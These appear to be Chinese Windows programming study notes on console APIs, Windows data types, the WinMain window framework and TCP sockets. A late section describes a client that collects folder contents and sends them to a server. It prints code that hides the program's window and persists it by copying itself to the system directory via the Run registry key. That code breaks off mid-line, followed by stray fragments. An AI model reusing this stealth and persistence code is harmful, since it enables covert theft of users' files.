Windows编程上
Windows编程[上]
- 一、Windows API
- 1.控制台大小设置
- 1.1 GetStdHandle
- 1.2 SetConsoleWindowInfo
- 1.3 SetConsoleScreenBufferSize
- 1.4 SetConsoleTitle
- 1.5 封装为Innks
- 2.控制台字体设置以及光标调整
- 2.1 GetConsoleCursorInfo
- 2.2 SetConsoleCursorPosition
- 2.3 GetCurrentConsoleFontEx
- 2.4 修改Innks以便用户输入字体设置
- 3. 缓冲区字符
- 3.1 SetConsoleTextAttribute
- 3.2 WriteConsoleOutput
- 3.3 设计按钮控件
- 二、Windows 数据类型
- 1.基本数据类型
- 1.1 字符类型
- 1.2 **整型**
- 1.3 字符串型
- 2.常见的Windows数据类型
- 3.特殊数据类型
- 4.编码规范
- 三、Windows应用程序
- 1.WinMain 应用程序入口点
- 2.WNDCLASS结构
- 3.大致框架
- 4.概念介绍
- 4.1 窗口与句柄
- 4.2 消息循环
- 4.3 窗口过程函数(Window Procedure)
- 4.4 总结
- 四、网络篇
- 1.TCP和UDP
- TCP的主要特性
- UDP的主要特性
- 2.listen的参数含义
- 3.改进recv和send函数
- 4.截取文件内容客户端
- 5.截取文件内容服务器
- 6.截取文件内容客户端隐藏自身和自启动(通用模板)
- 6.1 通用错误处理函数
- 6.2 隐藏自身
- 6.3 自启动
- 7.modbusTCP
- 7.1 Modbus 通信模型
- 7.2 Modbus TCP 帧结构
- 7.3 数据模型
- 7.4 功能码(Function Codes)
- 7.5 构建帧
微软开发文档地址
Windows 程序设计:以 C++类的形式封装了 Windows API,并且包含一个应用程序框架,以减少应用程序开发人员的工作量。包含大量 Windows 句柄封装类和很多 Windows 的内建控件和组件的封装类。专心的考虑程序的逻辑,而不是这些每次编程都要重复的东西,但是由于是通用框架,没有最好的针对性。
C/C++编程:仅产生少量的机器语言以及不需要任何运行环境支持便能运行的高效率程序设计语言。依靠非常全面的运算符和多样的数据类型,可以容易完成各种数据结构的构建,通过指针类型可对内存直接寻址以及对硬件进行直接操作,因此既能够用于开发系统程序,也可用于开发应用软件。
VA 的常用快捷键:
- ALT+G 调到定义
- ALT + SHIFT + F 查找所有引用
- ALT + 左箭头/右箭头:回退/前进
一、Windows API
微软官方文档地址
1.控制台大小设置
1.1 GetStdHandle
GetStdHandle 是 Windows API 中的一个函数,用于获取标准输入、标准输出或标准错误的句柄。这些句柄可以用于控制台应用程序与用户进行交互时的输入和输出操作。
1.2 SetConsoleWindowInfo
设置控制台屏幕缓冲区窗口的当前大小和位置。
矩形的宽度 = Right - Left + 1
矩形的高度 = Bottom - Top + 1
1.3 SetConsoleScreenBufferSize
设置控制台缓冲区大小。
1.4 SetConsoleTitle
设置控制台窗口标题。
1.5 封装为Innks
总体设计如下,除了设置宽、高、窗口名以外,我们还定义了一个回调函数的格式,让用户可以通过自定义的回调函数来对不同的错误类型进行处理。
在每次遇到返回值处理的时候,我们都交给用户传入的函数来进行相应处理。
当再次调整缓冲区大小为窗口大小的时候,会发现窗口宽和高各留了一个像素,这个其实是滚动条消失了,但是给滚动条预留的大小还存在窗口中,需要重新设置一下窗口大小。
2.控制台字体设置以及光标调整
2.1 GetConsoleCursorInfo
获得有关指定控制台屏幕缓冲区的游标大小和可见性的信息。
2.2 SetConsoleCursorPosition
设置指定控制台屏幕缓冲区中的光标位置。
2.3 GetCurrentConsoleFontEx
检索有关当前控制台字体的扩展信息。
2.4 修改Innks以便用户输入字体设置
3. 缓冲区字符
3.1 SetConsoleTextAttribute
设置由 WriteFile 或 WriteConsole 函数写入控制台屏幕缓冲区或由 ReadFile 或 ReadConsole 函数回显的字符的属性。 此函数会影响在函数调用后写入的文本。
3.2 WriteConsoleOutput
将字符和颜色属性数据写入控制台屏幕缓冲区中字符单元的指定矩形块。 要写入的数据取自源缓冲区中指定位置相应大小的矩形块。
参数说明:
lpBuffer:
- 类型: const CHAR_INFO*
- 描述: 指向一个包含要写入控制台屏幕缓冲区的字符和属性数据的缓冲区。该缓冲区是一个二维数组,使用 CHAR_INFO 结构来表示每个字符及其属性。
dwBufferCoord
- 类型: COORD
- 描述: 定义 lpBuffer 缓冲区中要写入数据的区域的左上角坐标。这个坐标是相对于 lpBuffer 缓冲区的(而不是控制台屏幕缓冲区)。
3.3 设计按钮控件
关于文字的颜色。每种颜色对应一位,一共有4bit表示颜色,所以是16种。
如果我们仅仅使用 PCHAR dst,在函数内部对 dst 的修改不会影响外部传入的指针,这意味着我们不能在函数内分配新的内存并让外部变量指向这块内存。而使用 PCHAR& dst,我们就可以在函数内部分配新内存,并使外部指针指向这块新内存。当 dst 是空指针时,需要在函数内部分配新的内存并让 dst 指向这块新内存。这时因为需要修改 dst 指针本身,所以需要传入指针的引用(PCHAR&)或者使用指针的指针(PCHAR*)。
二、Windows 数据类型
1.基本数据类型
1.1 字符类型
Unicode: Unicode 是一种字符编码标准,使用 16 位数据表示一个字符,共可以表示 65535 种字符。它支持全球大部分语言的字符。
ANSI: ANSI 字符集使用 8 位数据或将相邻的两个 8 位的数据组合在一起表示特殊的语言字符。如果一个字节是负数,则将其后续的一个字节组合在一起表示一个字符。这种编码方式的字符集也称作“多字节”字符集。
在开发中文应用程序时,通常建议使用 Unicode 编码集。
-
Unicode 支持全球几乎所有语言的字符,这使得您的应用程序不仅可以处理中文,还可以轻松扩展支持其他语言,便于国际化。
-
Windows 操作系统内部大量使用 Unicode,使用 Unicode 可以避免多字节编码集(如 ANSI)和 Unicode 之间的转换问题,减少编码错误,提高应用程序的稳定性。
-
现代的 Windows API 大多数都推荐使用 Unicode 版本(以 W 结尾的函数),而 ANSI 版本(以 A 结尾的函数)主要是为了兼容老的系统和应用程序。使用 Unicode 可以确保应用程序在未来的 Windows 版本中有更好的兼容性。
1.2 整型
- INT: 表示整数类型,通常占用 4 个字节。
- UINT: 表示无符号整数类型,通常占用 4 个字节。
- SHORT: 表示短整数类型,通常占用 2 个字节。
- USHORT: 表示无符号短整数类型,通常占用 2 个字节。
- LONG: 表示长整数类型,通常占用 4 个字节。
- ULONG: 表示无符号长整数类型,通常占用 4 个字节。
- 浮点型
- FLOAT: 表示单精度浮点数类型,通常占用 4 个字节。
- DOUBLE: 表示双精度浮点数类型,通常占用 8 个字节。
- 布尔型
- BOOL: 表示布尔类型,通常占用 4 个字节。取值为 TRUE(1)或 FALSE(0)。
1.3 字符串型
- LPCSTR
- 含义: Windows ANSI 字符串常量(指向常量字符串的指针)。
- 用途: 指向一个以 null 结尾的 ANSI 字符串,通常用于函数参数。
2.LPCWSTR
- 含义: Unicode 字符串常量(指向常量宽字符字符串的指针)。
- 用途: 指向一个以 null 结尾的 Unicode 字符串,通常用于函数参数。
3.LPCTSTR
- 含义: 根据环境配置,如果定义了 UNICODE 宏,则是 LPCWSTR 类型,否则是 LPCSTR 类型。
- 用途: 用于兼容 Unicode 和 ANSI 的字符串常量指针。
- LPDWORD
- 含义: 指向 DWORD 类型数据的指针。
- 用途: 指向一个 32 位无符号整数,通常用于函数参数传递地址。
- LPSTR
- 含义: Windows ANSI 字符串变量(指向字符串的指针)。
- 用途: 指向一个以 null 结尾的 ANSI 字符串,可以被修改。
6.LPWSTR
- 含义: Unicode 字符串变量(指向宽字符字符串的指针)。
- 用途: 指向一个以 null 结尾的 Unicode 字符串,可以被修改。
7.LPTSTR
- 含义: 根据环境配置,如果定义了 UNICODE 宏,则是 LPWSTR 类型,否则是 LPSTR 类型。
- 用途: 用于兼容 Unicode 和 ANSI 的字符串指针,可以被修改。
2.常见的Windows数据类型
- 句柄类型
- HANDLE: 用于表示各种对象的句柄,如文件、窗口、菜单等。
- HWND: 表示窗口句柄。
- HDC: 表示设备上下文句柄,用于绘图操作。
- HINSTANCE: 表示应用程序实例句柄。
- 消息和时间类型
- WPARAM: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。
- LPARAM: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。
- LRESULT: 表示消息处理的返回值,大小与指针相同。
- DWORD: 表示双字类型,通常用于计时器或标志位,大小为 4 个字节。
- 指针类型
- LPCTSTR: 指向常量字符串的指针(适用于 Unicode 或 ANSI 字符)。
- LPTSTR: 指向字符串的指针(适用于 Unicode 或 ANSI 字符)。
- LPVOID: 指向任意类型的指针。
3.特殊数据类型
- RECT
- 表示矩形区域,包含四个整数值:left、top、right、bottom。
- POINT
- 表示二维点,包含两个整数值:x 和 y。
- SIZE
- 表示尺寸,包含两个整数值:cx(宽度)和 cy(高度)。
- COLORREF
- 表示颜色值,通常用 RGB 值表示。
4.编码规范
前缀 含义 前缀 含义 a 数组 array b 布尔值 bool by 无符号字符(字节) c 字符(字节) cb 字节计数 rgb 保存颜色值的长整型 cx,cy 短整型(计算 x,y 的长度) dw 无符号长整型 fn 函数 h 句柄 i 整形(integer) m_ 类的数据成员 member n 短整型或整型 np 近指针 p 指针(pointer) l 长整型(long) lp 长指针 s 字符串 string sz 以零结尾的字符串 tm 正文大小 w 无符号整型 x,y 无符号整型(表示 x,y 的坐标) 三、Windows应用程序
1.WinMain 应用程序入口点
_stdcall 调用约定:
-
参数传递顺序:
参数从右到左进行压栈。也就是说,最后一个参数最先被压入堆栈。
-
堆栈清理:
调用该函数的代码负责传递参数,但函数自身负责清理堆栈。这与 __cdecl 调用约定不同,__cdecl 是由调用者负责清理堆栈。
-
名称修饰:
使用 _stdcall 调用约定的函数在编译时会进行名称修饰,函数名通常会被前缀一个下划线并在后面加上 @ 和参数的字节数。例如:
int WINAPI MyFunction(int a, int b);
将被编译器修饰为 _MyFunction@8。
2.WNDCLASS结构
WNDCLASS 是 Win32 编程中定义窗口类的结构体,用于注册窗口类以便创建窗口。
- style
- 类型: UINT
- 含义: 窗口类的风格,可以是多个风格的组合,用 | 运算符连接。
- 常用值:
- CS_HREDRAW: 水平大小改变时重绘整个窗口。
- CS_VREDRAW: 垂直大小改变时重绘整个窗口。
- CS_OWNDC: 每个窗口有自己的设备上下文。
- lpfnWndProc
- 类型: WNDPROC
- 含义: 指向窗口过程函数的指针,定义窗口如何响应各种消息。
- 用法: 必须提供一个自定义的窗口过程函数,处理诸如 WM_PAINT、WM_DESTROY 等消息。
- cbClsExtra
- 类型: int
- 含义: 分配给窗口类的额外内存字节数。
- 用法: 通常设为 0,除非需要为窗口类分配额外内存。
- cbWndExtra
- 类型: int
- 含义: 分配给每个窗口实例的额外内存字节数。
- 用法: 通常设为 0,除非需要为每个窗口实例分配额外内存。
- hInstance
- 类型: HINSTANCE
- 含义: 应用程序实例句柄。
- 用法: 通常使用 GetModuleHandle(NULL) 获取当前应用程序实例句柄。
- hIcon
- 类型: HICON
- 含义: 窗口类的图标句柄。
- 用法: 可以使用 LoadIcon 加载图标资源。
- hCursor
- 类型: HCURSOR
- 含义: 窗口类的光标句柄。
- 用法: 可以使用 LoadCursor 加载光标资源。
- hbrBackground
- 类型: HBRUSH
- 含义: 窗口背景刷句柄,用于绘制窗口背景。
- 用法: 可以使用系统预定义的刷子,如 (HBRUSH)(COLOR_WINDOW+1)。
- lpszMenuName
- 类型: LPCTSTR
- 含义: 窗口类的菜单名称。
- 用法: 如果窗口类有一个菜单,可以在这里指定菜单资源名称,否则设为 NULL。
- lpszClassName
- 类型: LPCTSTR
- 含义: 窗口类名称,用于唯一标识窗口类。
- 用法: 必须提供一个独特的名称,通常是一个字符串常量。
3.大致框架
4.概念介绍
4.1 窗口与句柄
窗口(Window):窗口是 Windows 操作系统的一个基本组成部分,它代表了用户界面的一部分。几乎所有的用户界面元素(如按钮、文本框、列表框等)都是窗口。可以显示信息、接收用户输入等。
MFC 提供了一组类来表示不同类型的窗口,这些类都派生自 CWnd 类。以下是一些常见的 MFC 窗口类:
- CFrameWnd:用于表示主框架窗口。
- CDialog:用于表示对话框窗口。
- CView:用于表示视图窗口,通常与文档-视图架构(Document/View Architecture)一起使用。
- CButton、CEdit、CListBox 等:用于表示各种控件窗口。
句柄(Handle):句柄是一个唯一的整数值,用于标识 Windows 系统中的对象。句柄可以看作是对象的标识符,允许应用程序与操作系统进行交互而不必了解对象的内部结构。
常见的句柄类型:
- 窗口句柄(HWND):表示窗口对象的句柄。
- 设备上下文句柄(HDC):表示设备上下文的句柄,用于绘图操作。
- 实例句柄(HINSTANCE):表示应用程序实例的句柄。
- 菜单句柄(HMENU):表示菜单的句柄。
在 MFC 中,每个窗口对象都有一个对应的窗口句柄(HWND)。窗口句柄是由 Windows 操作系统分配的,用于唯一标识窗口。
窗口对象:窗口对象是系统内部用来管理窗口状态和行为的数据结构。通过窗口句柄,可以访问窗口对象并对其进行操作,如显示窗口、更新窗口内容等。
4.2 消息循环
消息(Message):在 Win32 编程中,系统通过消息机制与窗口通信。每当发生用户输入(如鼠标点击、键盘输入)或系统事件(如窗口大小改变),系统会生成相应的消息并将其发送给窗口。
消息循环(Message Loop):消息循环是一个循环结构,用于从消息队列中获取消息并将其分派给窗口过程函数进行处理。
消息循环的基本流程如下:
- 获取消息:从应用程序的消息队列中获取下一条消息。
- 翻译消息:将虚拟键消息(如键盘输入)翻译为字符消息。
- 分发消息:将消息分发给相应的窗口过程进行处理。
- 处理消息:窗口过程处理消息,并执行相应的操作。
在传统的 Windows 应用程序中,消息循环通常如下所示:
MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); }
4.3 窗口过程函数(Window Procedure)
在 Windows 编程中,窗口过程函数(Window Procedure)是一个非常重要的概念。窗口过程函数是处理窗口消息的核心函数,每当窗口接收到消息时,操作系统都会调用这个函数。每个窗口类都有一个窗口过程函数,定义窗口如何响应各种消息。
4.4 总结
Win32 应用程序开发涉及以下步骤:
- 注册窗口类。
- 创建窗口实例。
- 显示和更新窗口。
- 运行消息循环。
- 定义窗口过程函数处理消息。
四、网络篇
1.TCP和UDP
TCP的主要特性
- 连接导向:TCP是一个面向连接的协议。在传输数据之前,需要建立一个连接。这个过程包括三次握手(Three-way Handshake)。
- 可靠传输:通过确认(ACK)和重传机制保证数据的可靠传输。
- 数据流控制:通过滑动窗口机制实现流量控制,防止发送方发送速度过快导致接收方无法处理。
- 拥塞控制:采用慢启动、拥塞避免、快重传和快恢复等算法进行拥塞控制。
- 无边界数据流:TCP把数据视为一个连续的数据流,没有数据边界的概念。
TCP协议中不存在数据边界的概念意味着,TCP将数据视为一个连续的字节流,而不是一个个独立的数据包。在传输过程中,数据被分割成段(segment),每个段包含一部分数据流中的字节,但TCP并不关心这些段的边界。
建立TCP连接时,需要进行三次握手过程,以确保双方都准备好并且能够进行通信。
- 第一次握手:客户端发送SYN(同步序列编号)包,表明客户端希望建立连接,并且客户端的初始序列号(Sequence Number,Seq)为X。
- 第二次握手:服务器收到SYN包后,回复一个SYN-ACK包。这个包中包含服务器的初始序列号Y,并确认客户端的序列号(ACK = X+1)。
- 第三次握手:客户端收到SYN-ACK包后,发送一个ACK包,确认服务器的序列号(ACK = Y+1)。此时,连接建立。
关闭TCP连接需要四次挥手过程,确保双方都完成了数据传输并且准备关闭连接。
- 第一次挥手:客户端发送FIN包,表示不再发送数据,但仍可接收数据。
- 第二次挥手:服务器收到FIN包后,回复ACK包,确认收到客户端的FIN包。
- 第三次挥手:服务器发送FIN包,表示不再发送数据。
- 第四次挥手:客户端收到服务器的FIN包后,回复ACK包,确认收到服务器的FIN包,连接关闭。
UDP的主要特性
- 无连接:在传输数据之前不需要建立连接,每个数据报独立传输。
- 不可靠:不保证数据报的到达,不进行确认和重传。
- 无序:不保证数据报按顺序到达,数据报可能乱序到达。
- 数据报边界:UDP将数据看作一个个独立的数据报,每个数据报有明确的边界。
- 低开销:由于不需要连接管理和可靠性保证,UDP的开销比TCP低。
2.listen的参数含义
listen 函数用于将套接字设置为被动模式,准备接受连接请求。其原型如下:
int listen(int sockfd, int backlog);
- backlog:指定完全建立的连接和半连接的队列长度。
backlog 参数指定了内核为这个套接字维护的连接请求队列的最大长度。这个队列包含了已完成的连接和等待完成的连接(半连接)。
我们可以将连接请求队列分为两个部分:
- 半连接队列(Syn Queue):存放那些已经发送了 SYN 报文但还没有完成三次握手的连接请求。
- 完全连接队列(Accept Queue):存放那些已经完成三次握手,等待被 accept 函数处理的连接。
假设 backlog 设置为 5,表示服务器最多能同时处理 5 个连接请求:
- 当有第 6 个连接请求到达时,如果完全连接队列已经满了,这个请求会被拒绝。
- 只有当服务器调用 accept 函数并从完全连接队列中移除一个连接后,新的连接请求才能进入这个队列。
当我们通过多个客户端连接服务器的时候,只有前五个连接成功了,后面的都是错误10061。
也就是说,服务器拒绝连接。
3.改进recv和send函数
4.截取文件内容客户端
先实现一个找到文件夹中所有文件的函数。
找到文件后,发送文件内容给指定服务器。
5.截取文件内容服务器
6.截取文件内容客户端隐藏自身和自启动(通用模板)
6.1 通用错误处理函数
void ErrorHandling(const char* format, ...) { va_list args; va_start(args, format); vfprintf(stderr, format, args); // 格式化输出错误信息到标准错误流 va_end(args); fputc('\n', stderr); exit(1); }
6.2 隐藏自身
void HideMyself() { //拿到当前的窗口句柄 HWND hwnd = GetForegroundWindow(); //隐藏当前窗口 ShowWindow(hwnd, SW_HIDE); }
6.3 自启动
void AddToSystem(const char* programName) { HKEY hKEY; char CurrentPath[MAX_PATH]; char SysPath[MAX_PATH]; long ret = 0; LPSTR FileNewName; LPSTR FileCurrentName; DWORD type = REG_SZ; DWORD size = MAX_PATH; LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; // 获取系统目录 GetSystemDirectory(SysPath, size); // 获取当前程序路径 GetModuleFileName(NULL, CurrentPath, size); // 复制文件 FileCurrentName = CurrentPath; FileNewName = strcat(SysPath, "\\"); FileNewName = strcat(FileNewName, programName); struct _finddata_t Steal; cout
- backlog:指定完全建立的连接和半连接的队列长度。
- 句柄类型
- 浮点型
-